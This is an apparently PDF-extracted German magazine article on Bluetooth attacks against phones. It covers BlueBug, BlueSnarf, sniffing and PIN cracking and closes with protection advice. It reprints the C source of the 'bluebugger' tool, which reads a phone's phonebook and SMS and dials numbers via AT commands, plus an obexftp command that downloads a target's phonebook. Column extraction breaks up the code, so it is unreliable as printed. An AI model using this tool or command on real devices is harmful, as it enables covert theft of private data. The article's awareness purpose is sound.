durch die Luft: Bluetooth Hacking Angriff Marko Rogge Schwierigkeitsgrad Mit der Technologie von Bluetooth hat ein weiterer Wireless Standard Einzug in Mobiltelefone und Laptops gehalten. Unbedarft der Gefahren, die in jeder Art der Kommunikation lauern, verwenden Unternehmen und Anwender Bluetooth und unterschätzen die Gefahren deutlich. Auf einer Entfernung zwischen 10 und 100 Meter ist es möglich, die Kommunikation von Bluetooth abzufangen, SMS oder Adressbücher zu lesen oder Handys zum Absturz zu bringen. Das Funknetz Bluetooth ist auf einer Frequenzbreite von 2,4 GHz anzutreffen und arbeitet auf 79 Kanälen, die für unterschiedlichste Zwecke verwendet werden können. Datenübertragungen sind bei Bluetooth synchron / symmetrisch mit einer Geschwindigkeit von bis zu 433,9 kbit/s möglich. Diese erschließt interessante Möglichkeiten, auch große Datenmengen schnell zu transportieren. Die Sprachkommunikation hingegen kann nur mit 64 kbit/s übertragen werden, und Bluetooth stellt dafür 3 Kanäle zur Verfügung. Dies entspricht in etwa der Sprachqualität von ISDN. Die Reichweite für die Kommunikation zwischen Bluetooth Geräten reicht von 10 Meter bis hin zu 100 Meter. Abhängig ist die Reichweite von der Sendeleistung des entsprechenden Gerätes. Normale Geräte, in denen Bluetooth integriert ist, haben eine Reichweite von 10 Metern. Geräte mit einer extra Antenne können durchaus eine Reichweite von 100 Meter und mehr erreichen. Bluetooth erkennt andere Geräte, die sich innerhalb der Reichweite befinden, über eine Inquiry-Prozedur, die dann die Geräteklassen und Zeittakte beinhaltet und sendet. Die Kommunikation ist der herkömmlichen Kommunikation angeglichen, da beide Geräte entsprechend Master und Slave benannt werden. Die In diesem Artikel erfahren Sie... Was genau ist Bluetooth; Sicherheitsmechanismen der Bluetooth Technologie; Angriff auf mobile Devices mit Bluetooth; Bekannte Angriffszenarien; Schutzmöglichkeiten und Ausblick in die Zukunft. Was Sie vorher wissen/können sollten... Kenntnisse im Bereich Linux Hacking; Programmierung C, C++; Bluetooth Technik. 34
Bluetooth Hacking Listing 1a. Bluebugger im Detail /* * Copyright (C) 2006 by Martin J. Muench <mjm@codito.de> * * Bluebug utility * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #include "bt.h" #include "at.h" #include "wrap.h" #include "debug.h" #define VERSION "0.1" #define SAFE_DELETE(x) if(x) free(x); Verbindung kann dabei zwischen den Geräten nur durch eine entsprechende Paging-Anforderung geschehen. Bei dieser Form der Kommunikation versteht es Bluetooth bis zu 255 Geräte miteinander kommunizieren zu lassen. Es können 7 Slaves und 1 Master zeitgleich kommunizieren, die anderen werden geparkt. Sicherheitsmechanismen Bluetooth Bei der Kommunikation wird bei Bluetooth auf Verschlüsselung gesetzt, die zwischen Master und Slave greift, wenn Geräte miteinander verbunden werden sollen. Bei der Verschlüsselung von Bluetooth setzt man in der Regel auf einen 128 kbit Schlüssel, der zwischen beiden Geräten generiert wird, die miteinander eine Verbindung eingehen wollen. Die meisten Bluetooth-Geräte liefern dazu das entsprechende Sicherheitsmenü mit, das eine Paarung /* local functions */ static void Usage(const char *); static void execute_command(file *, int, char *[]); static void sig_handler(int); int opterr = 0; /* shutup getopt() */ FILE *output; char *target_addr=null, *name=null, *device=null; FILE *rfcomm_fp = NULL; int sock=-1, dev_id=-1, hci_sock=-1; /* * Small wrapper to hack mobile phones (for dummies) */ Abbildung 1. Verbindung Bluetooth int main(int argc, char *argv[]) { int c, timeout=5000, name_lookup=1, channel=17; char filename[filename_max]; bdaddr_t bdtmp; bdaddr_t *bdaddr; /* default output = stdout */ output=stdout; Abbildung 2. Btscanner 1 printf("\nbluebugger %s ( MaJoMu www.codito.de ) "-----------------------------------------\n\n", VERSION); if (geteuid()!= 0) Usage("You need (e)uid 0 (e.g. be root) while((c = getopt(argc, argv, "m:a:t:d:i:no:c:"))!= -1) { switch(c) { case 'a': target_addr = (char *)Malloc(strlen(optarg)+1); strcpy(target_addr, optarg); Abbildung 3. Btscanner 2 35
Listing 1b. Bluebugger im Detail case 'd': device = (char *)Malloc(strlen(optarg)+1); strcpy(device, optarg); case 'm': name = (char *)Malloc(strlen(optarg)+1); strcpy(name, optarg); case 't': timeout = atoi(optarg) * 1000; case 'n': name_lookup = 0; case 'c': channel = atoi(optarg); case 'o': if((output = fopen(optarg, "w+")) == NULL) { fprintf(stderr, "Cannot open '%s': %s\n", optarg, strerror(errno)); default: Usage("Invalid arguments"); /* get rid of parsed args */ argv += optind; argc -= optind; /* Get bt address */ if(target_addr == NULL) Usage("You have to set the target address"); fprintf(output, "Target Device:\t'%s'\n", target_addr); str2ba(target_addr, &bdtmp); bdaddr = &bdtmp; zweier Geräte ermöglicht und somit absichern soll. Hier am Beispiel zu sehen. Das Schlüsselsymbol zeigt an, dass es sich hierbei um eine bereits sichere Paarung zweier Geräte handelt. Dazu gehen beide Geräte eine Bindung ein, die sich Pairing nennt und in beiden Geräten gespeichert wird. Beim Pairing müssen beide Geräte den jeweiligen Schlüssel akzeptieren. Die Generierung dieser Schlüssel erfolgt aus einer Zufallszahl und einer PIN, die eingegeben werden muss. Die Verschlüsselung basiert in der Regel auf der Authentisierung zweier Geräte. Bei der Authentisierung handelt es sich um ein Verfahren, dass sich Challenge Response Verfahren nennt und eine Authentisierung zweier Geräte ermöglicht. Dabei erfolgt die Authentisierung einseitig und kann jedoch für zwei Geräte umgekehrt nochmals wiederholt werden. Das Verfahren verläuft nach dem Schema ab, dass sich ein Gerät (Claimant) bei einem anderen Gerät authentisiert (Verifier). Der Claimant erhält vom Verifier eine Zufallszahl übermittelt und beweist anschliessend mit seiner richtigen Antwort, dass der Verbindungsschlüssel korrekt ist und Abbildung 4. Bthci-Toolscan /* Get device ID */ if ((dev_id = hci_get_route(null)) == -1) { fprintf(stderr, "hci_get_route() failed: %s\n", strerror(errno)); /* Set signal handler */ signal(sigint, sig_handler); /* Setup socket */ if ((hci_sock = hci_open_dev(dev_id)) == -1) { fprintf(stderr, "hci_open_dev() failed: %s\n", strerror(errno)); /* Get target device name */ if(name_lookup) { char asc_name[256]=""; hci_read_remote_name(hci_sock, bdaddr, sizeof(asc_name)-1, asc_name, timeout); fprintf(output, "Target Name: \t'%s'\n\n", asc_name); else fprintf(output, " Abbildung 5. Blooover 1 Abbildung 6. Blooover 2 36
Listing 1c. Bluebugger im Detail /* Configure hci socket */ bt_configure(dev_id, hci_sock, name); /* Create rfcomm socket for communication */ if((sock = socket(af_bluetooth, SOCK_RAW, BTPROTO_RFCOMM)) == -1) { fprintf(stderr, "socket() failed: %s\n", strerror(errno)); exit(exit_success); /* bind rfcomm socket (create dev) */ if(bt_bind(sock, dev_id, bdaddr, channel)) { fprintf(stderr, "bt_bind() failed: %s\n", strerror(errno)); bt_release(sock, dev_id); close(sock); exit(exit_success); /* wait 1 sec to ensure dev is ready */ sleep(1); /* Use rfcomm device */ snprintf(filename, FILENAME_MAX, "%s%u", device == NULL? "/dev/rfcomm" : device, dev_id); if (!(rfcomm_fp = fopen(filename, "r+"))) { fprintf(stderr, "Cannot open '%s': %s\n", filename, strerror(errno)); bt_release(sock, dev_id); close(sock); /* Set rfcomm device options */ if (bt_rfcomm_config(fileno(rfcomm_fp)) == 0) { anerkannt wird. Der Claimant generiert aus der Geräteadresse und einer Zufallszahl bei der Antwort einen 32bit Schlüssel und sendet diesen an den Verifier zurück. Die Antwort des Verifier wird mit der gleichen Verfahrensweise berechnet und beide Ergebnisse sollten nun übereinstimmen. Ist die Anwort des Verifier identisch mit der Anfrage des Claimant, authentisiert der Verifier den Claimant. Sicherheitsbetriebsarten von Bluetooth Geräten Hierbei wird grundsätzlich in 3 Betriebsarten, die Bluetooth Geräte haben können unterschieden: Ein Bluetooth Gerät reagiert auf Authentisierungsanfragen, aber selbst bietet es keine eigenen Sicherheitsmechanismen an; Das Bluetooth Gerät stellt die Sicherheitsmechanismen auf Anfrage bei einer Verbindung bereit und liefert dann entsprechende Sicherheitsmerkmale; /* execute main commands */ execute_command(rfcomm_fp, argc, argv); else fprintf(stderr, "bt_rfcomm_config() failed /* close rfcomm device */ fclose(rfcomm_fp); /* Cleanup */ bt_release(sock, dev_id); close(sock); /* Cleanup */ SAFE_DELETE(name); SAFE_DELETE(device); SAFE_DELETE(target_addr); /* Close output file */ if(output!= stdout) fclose(output); Abbildung 7. Das Adressbuch eines Nokia Mobiltelefones ausgelesen und sichtbar auf dem Laptop des Angreifers printf("...done\n exit(exit_success); static void execute_command(file *rfcomm_fp, int argc, char *argv[]) { int i; Abbildung 8. SMS Nachrichten werden im Klartext auf den Computer des Angreifers übertragen 38
Listing 1d. Bluebugger im Detail /* shut up */ at_disable_echo(rfcomm_fp); /* Default = get info/phonebook/messages */ if(!argc) { at_parse_manufacturer_identification(rfcomm_fp); at_parse_identification(rfcomm_fp); at_parse_phonebook_list(rfcomm_fp); at_parse_message_list(rfcomm_fp); return; /* Process given commands */ for(i = 0; i < argc ; i++) { debug(("+ Command: AT%s\n\n", argv[i])); if(!strcmp(argv[i], "info")) { at_parse_manufacturer_identification(rfcomm_fp); at_parse_identification(rfcomm_fp); else if(!strcmp(argv[i], "phonebook")) { at_parse_phonebook_list(rfcomm_fp); else if(!strcmp(argv[i], "messages")) { at_parse_message_list(rfcomm_fp); else if(!strcmp(argv[i], "dial")) { if(i + 1 >= argc) Usage("You need to specify the number for 'dial'"); at_dial(rfcomm_fp, argv[++i]); /* else if(!strcmp(argv[i], "sms")) { if(i + 2 >= argc) Usage("You need to specify the number and text for 'sms'"); at_sms(rfcomm_fp, argv[i + 1], argv[i + 2]); i = i + 2; */ else { at_custom(rfcomm_fp, argv[i]); Das Bluetooth Gerät kann nur durch entsprechende Sicherheitsmechanismen eine Verbindung zu anderen Geräten aufnehmen. Bei vielen Geräten, die mit Bluetooth ausgestattet sind, besteht zusätzlich die Möglichkeit, eine Einstellung vorzunehmen, die eine Inquiry nicht erlaubt. Dabei ist das Gerät für andere nicht sichtbar. Ebenfalls besteht die Möglichkeit, dass Pager- und Pairinganfragen unbeantwortet bleiben. Angriffsarten auf Bluetooth Geräte Die meisten Bluetooth Geräte werden fast immer in Default Einstellungen unsicher ausgeliefert. Ein Zustand der aus der Computerbranche bestens bekannt ist. In diesem Fall sind Bluetooth Geräte immer Inquiry und lassen somit einen Datenaustausch via Bluetooth zu. Grundsätzliche Sicherheitsfunktionen sind ausgeschaltet, sprich es ist keine Authentisierung notwendig, oder PINs sind auf Standard 0000 oder 1234 eingestellt. Diese Einstellungen sollten nach Inbetriebnahme eines Bluetooth Gerätes umgehend verändert werden. Ein weiteres Sicherheitsrisiko ist das Erraten von Passwörtern. Zu schwache Passwörter und PINs können return; /* * Misc funcs */ /* Usage */ static void Usage(const char *err_msg) { printf("usage: Bluebugger [OPTIONS] -a <addr> [MODE] \n " -a <addr> = Bluetooth address of target \n printf(" Options: " -------- printf(" -m <name> = Name to use when connecting (default: '') Abbildung 9. Sdp-Tool Abbildung 10. Receiving Phonebook 40
dazu führen, dass ein Angreifer sich dadurch eines Gerätes bemächtigen kann und somit die Kontrolle erhält. Ebenfalls aus der Computertechnik bekannt und noch sehr weit verbreitet sind Man-in-the-Middle Attacken. Bei dieser Form der Angriffe ist es durch unzulängliche Sicherheitseinstellungen einem Angreifer möglich, sich zwischen zwei Geräte zu schalten. Der Angreifer gibt sich bei jedem der Geräte als das andere aus und kann somit jegliche Datenpakete abfangen, die von einem Gerät zum anderen übertragen werden. Hierbei besteht die Möglichkeit, dass ein Angreifer Authentisierungsanfragen abfängt und entsprechend an das andere Gerät weiterleitet, um somit selbst Zugriff zu erhalten. Ein weiteres Problem stellt die Verbindung direkt dar. Bluetooth breitet sich unkontrollierter in der Funkstrecke aus, als andere Funknetze. Dadurch ist es einem Angreifer möglich, den Datenverkehr auf Protokollebene zu belauschen und entsprechend abgefangene Daten offline auszuwerten. Die dabei übertragenen Daten können je nach Brisantz von Bedeutung sein. Angriffsarten im Detail vorgestellt Blooover ist eine Software, die eindrucksvoll demonstriert, welche Angriffe auf mobile Devices, hier Handys, möglich sind. Man kann unterscheiden zwischen BlueBug und BlueSnarf, wobei hier auch eine Kombination der Varianten möglich ist. Ein Angriff kann durch ein Mobiltelefon oder ein Laptop geschehen und bleibt in den meisten Fällen sogar unentdeckt. Das Opfer bemerkt nicht, dass gerade ein Angreifer dabei ist, die SMS auszulesen und das Telefonbuch auf das Angreifer-Gerät zu laden. BlueBug ist eine Angriffsmethode um das Opfer-Gerät in die Kontrolle des Angreifers zu bringen. Dabei ist es möglich, Anrufweiterleitungen einzurichten, SMS zu senden und Anrufe zu tätigen. Bei BlueSnarf handelt es sich um eine Angriffstechnik, die es einem Angreifer ermöglicht, Daten hin und her zu kopieren. Das ist es in der Listing 1e. Bluebugger im Detail " -d <device> = Device to use (default: '/dev/rfcomm') " -c <channel> = Channelto use (default: 17) " -n = No device name lookup " -t <timeout> = Timeout in seconds for name lookup (default: 5) " -o <file> = Write output to <file> printf(" printf(" Mode: " ----- printf(" info = Read Phone Info (default) " phonebook = Read Phonebook (default) " messages = Read SMS Messages (default) " dial <num> = Dial number " ATCMD = Custom Command (e.g. '+GMI') printf(" printf(" Note: Modes can be combined, e.g. 'info phonebook +GMI' printf("\n* %s\n\n", err_msg); sig_handler(int signo) { /* close rfcomm device */ if(rfcomm_fp) fclose(rfcomm_fp); /* Cleanup */ if(sock!= -1 && dev_id!= -1) { bt_release(sock, dev_id); close(sock); if(hci_sock!= -1) /* Cleanup */ SAFE_DELETE(name); SAFE_DELETE(device); SAFE_DELETE(target_addr); /* EOF */ 42
heutigen Zeit nicht gerade unbedeutend, lagern doch viele Unternehmer Daten auf das Handy aus, weil diese mit immer größeren Speichermedien versorgt sind. Eine Software, die es ermöglicht, auf das Adressbuch von Handys zu gelangen und auch die SMS zu laden, ist bluebugger von Martin J. Münch. Ein kleiner Test kann aufzeigen, ob man selbst gegen diese Art von Bluetooth Angriffen sicher ist. Hierfür benutzt man einen Bluetooth Scanner wie z.b. btscanner und scannt die Umgebung nach Bluetooth Devices ab. Das eigene Handy sollte bei einem solchen Test mit aktiviertem Bluetooth eingeschaltet sein. Hierfür kann man unter Linux auch den Befehl hcitool scan verwenden. Das Ergebnis ist bei einem Scan nach Bluetooth Devices das Gleiche: Die MAC Adresse des Gerätes wird angezeigt. Software wie Bluebugger aber auch Blooover (Java Applikation) können derzeit nur einige Mobiltelefone angreifen und die Schwachstellen dort ausnutzen. Aber es ist in diversen Tests erfolgreich gezeigt worden, dass es möglich ist, das Adressbuch und die SMS aus einem Mobiltelefon auszulesen. Blooover ist ein Proof-of-Concept der Gruppe Trifinite und funktioniert derzeit auf einigen Nokia und SonyEricsson Mobiltelefonen. Optionen einstellen mit Blooover, um zu testen, welche Schwachstelle das eigene Telefon hat. Aber auch das Scannen wird grafisch übersichtlich dargestellt, und man kann sich die Funktionen des Opfer-Gerätes anschauen. Hierbei sei erwähnt, dass diese Methode nicht bei allen Geräten mit Bluetooth funktioniert. Das Nokia 6310i ist jedoch ein sehr weit verbreitetes Mobiltelefon. Es wird als Autotelefon von sehr vielen Autoherstellern direkt eingebaut. Das, was Tools wie Blooover oder bluebugger machen, kann man auch auf einer Linuxkonsole manuell durchführen. Hierbei bedient man sich Protokollen wie z.b. OBEX FTP oder BTFTP von Affix. Einige Mobiltelefone oder auch Computer sind mit somit schutzlos den Möglichkeiten eines Angreifers ausgeliefert. Mit dem Befehl sdpbrowse besteht die Möglichkeit, die Fähigkeiten eines Bluetooth Gerätes heraus zu finden, um zu schauen, ob man via FTP darauf zugreifen kann. Im Sektor Service Name: OBEX Object Push erkennt man, welcher Channel geöffnet ist, um über diesen dann auf ein Device zugreifen zu können. Möglich wäre hier als Beispiel, das Telefonbuch eines Opfer-Gerätes auf den Computer zu laden: obexftp -b 00:12:D1:7A:5A:3E -B 10 -g telecom/pb.vcf Dieser Vorgang muss nicht zwangsweise bei allen Bluetooth Geräten funktionieren, da auch die Hersteller bemüht sind, mehr Sicherheit in die Geräte zu bringen. Dennoch funktionierten diese unterschiedlichen Angriffe auf verschiedenen Devices. Eine Auswahl der verwundbaren Geräte ist auf The Bunker nachzulesen. Es sind jedoch nicht nur diese Geräte betroffen. Collin Mulliner hat heraus gefunden, dass es möglich ist, die Kommunikation einer Bluetooth Tastatur abzugreifen und diese entsprechend auszunutzen. Ein Angreifer kann mit dieser Angriffsart vorgeben eine Bluetooth Tastatur zu sein und so einen PC steuern. Der Angriff erfolgt also direkt auf den PC des Opfers. Das Proof-of-Concept ist ausführlich beschrieben und zeigt die Angriffsmöglichkeiten auf: http:// mulliner.org/bluetooth/hidattack.php. Eine weitere Angriffsmöglichkeit ist das Sniffen. Das Belauschen von Kommunikation im Bereich Netzwerke ist mittels Sniffing hinlänglich bekannt und wird in der Praxis von Angreifern häufig zum Sammeln von Daten verwendet. Auch bei der Bluetooth Technologie ist es möglich, Sniffing zu betreiben und einen handelsüblichen USB-Bluetooth Stick in einen Sniffer zu verwandeln. Somit kann man dann die Kommunikation von Bluetooh Geräten belauschen, Daten mitschneiden und aufzeichnen. Diese Möglichkeit des Sniffing bei Bluetooth wurde erst kürzlich von Max Moser publiziert. Max Moser, unter anderem Gründer der Security Distribution Back Track, zeigte auf, wie somit neue Möglichkeiten erschlossen werden können, den Wireless Standard Bluetooth auszuhebeln. Unternehmen unterschätzen das Risiko eines Angriffs über Bluetooth und sehen die Gefahren als viel zu klein. Sofern man eine Verbindung via Bluetooth entdeckt hat, diese mittels eines Sniffers ausspionieren kann, besteht die Möglichkeit, in die aktive Kommunikation einzugreifen. BTCrack ist eine Software, die dann die Technik besitzt, das so genannte Peering der Bluetooth Devices auszuhebeln. Bei diesem Angriff kann die PIN des Mobiltelefons ausgelesen werden. Noch ist für die Möglichkeit des Sniffens von Bluetooth keine Software für Linux erhältlich, aber das ist bekanntlich nur eine Frage der Zeit. Den zwei israelischen Forschern Avishai Wool und Yaniv Shaked ist es vor einiger Zeit gelungen, die Verschlüsselung Safer+ für das Pairing Verfahren zu knacken. Kurze Zeit später gelang es Wool und Shaked ebenfalls, eine Repairing Attacke durchzuführen, in dem der Link Key als verloren gemeldet und erneut angefordert wurde. Dies ruft einen neuen Pairing Prozess hervor, und diese Daten können wiederum mitgelesen, werden um die PIN zu knacken. Bei dieser Art des Angriffs ist es erforderlich, dass der gesamte Pairing Vorgang mit gelesen wird, um die PIN dann zu knacken. Im Internet http://www.codito.de/ Bluebugger, Martin J. Münch; http://trifinite.org/ Blooover, JRE Tool; http://www.pentest.co.uk Btscanner 2.1; http://www.betaversion.net/btdsd/ db/ Datenbank verwundbare Geräte; http://www.mulliner.org Collin Mulliner, HID Attack; http://www.remote-exploit.org/ research / busting _ bluetooth_ myth.pdf Busting the Bluetooth Mysth, Max Moser; http://www.nruns.com/security _ tools.php BTCrack; http://www.josos.org/index/040- softwares/bluetooth/ Bluetooth Spammer. 44
Bluetooth Hacking Schutzmöglichkeiten und Ausblick in die Zukunft Wie weit die Angriffsmöglichkeiten von Bluetooth noch gehen können ist deutlich. Bluetooth ist schon fast zum Standard in Mobiltelefonen, Smartphones und Laptops geworden und wird ab Werk mitgeliefert. Viele Unternehmen oder unbedarfte Benutzer haben diese Technik eingeschaltet und bieten Angreifern noch mehr Möglichkeiten, sich unbefugt Zugriff zu verschaffen. Da nicht nur Laptops über Bluetooth verfügen, sondern auch Mobil- telefone, sind die Möglichkeiten der Angriffe weitreichender und lassen sich mit WLAN kombinieren. Neben WLAN, das ja bekanntlich viele Jahre als sicher galt, ist nun Bluetooth immer mehr in das Visier von Hackern gerückt und wird in der Zukunft weitere Angriffsmöglichkeiten bieten. Benutzer von Bluetooth, egal auf welchem Gerät, sollten per default Bluetooth ausgeschaltet haben und nicht nur im Modus unsichtbar sein. Denn viele der Angriffstechniken basieren rein auf der MAC Adresse eines Gerätes, und diese wird auch dann erreichbar sein. Dazu muss ein Device nicht zwingend sichtbar sein. Sofern man via Bluetooth eine Datei empfangen möchte, sollte man auch erst dann Bluetooth einschalten und darauf achten, dass der Absender auch exakt der ist, von dem man eine Sendung erwartet. Dies ist wichtig, da in der Zukunft auch Angriffe via SPAM zu erwarten sind. Hierbei könnten Bluetooth Devices vorübergehend lahm gelegt oder für die weitere Verbreitung von SPAM benutzt werden. W E R B U N G 45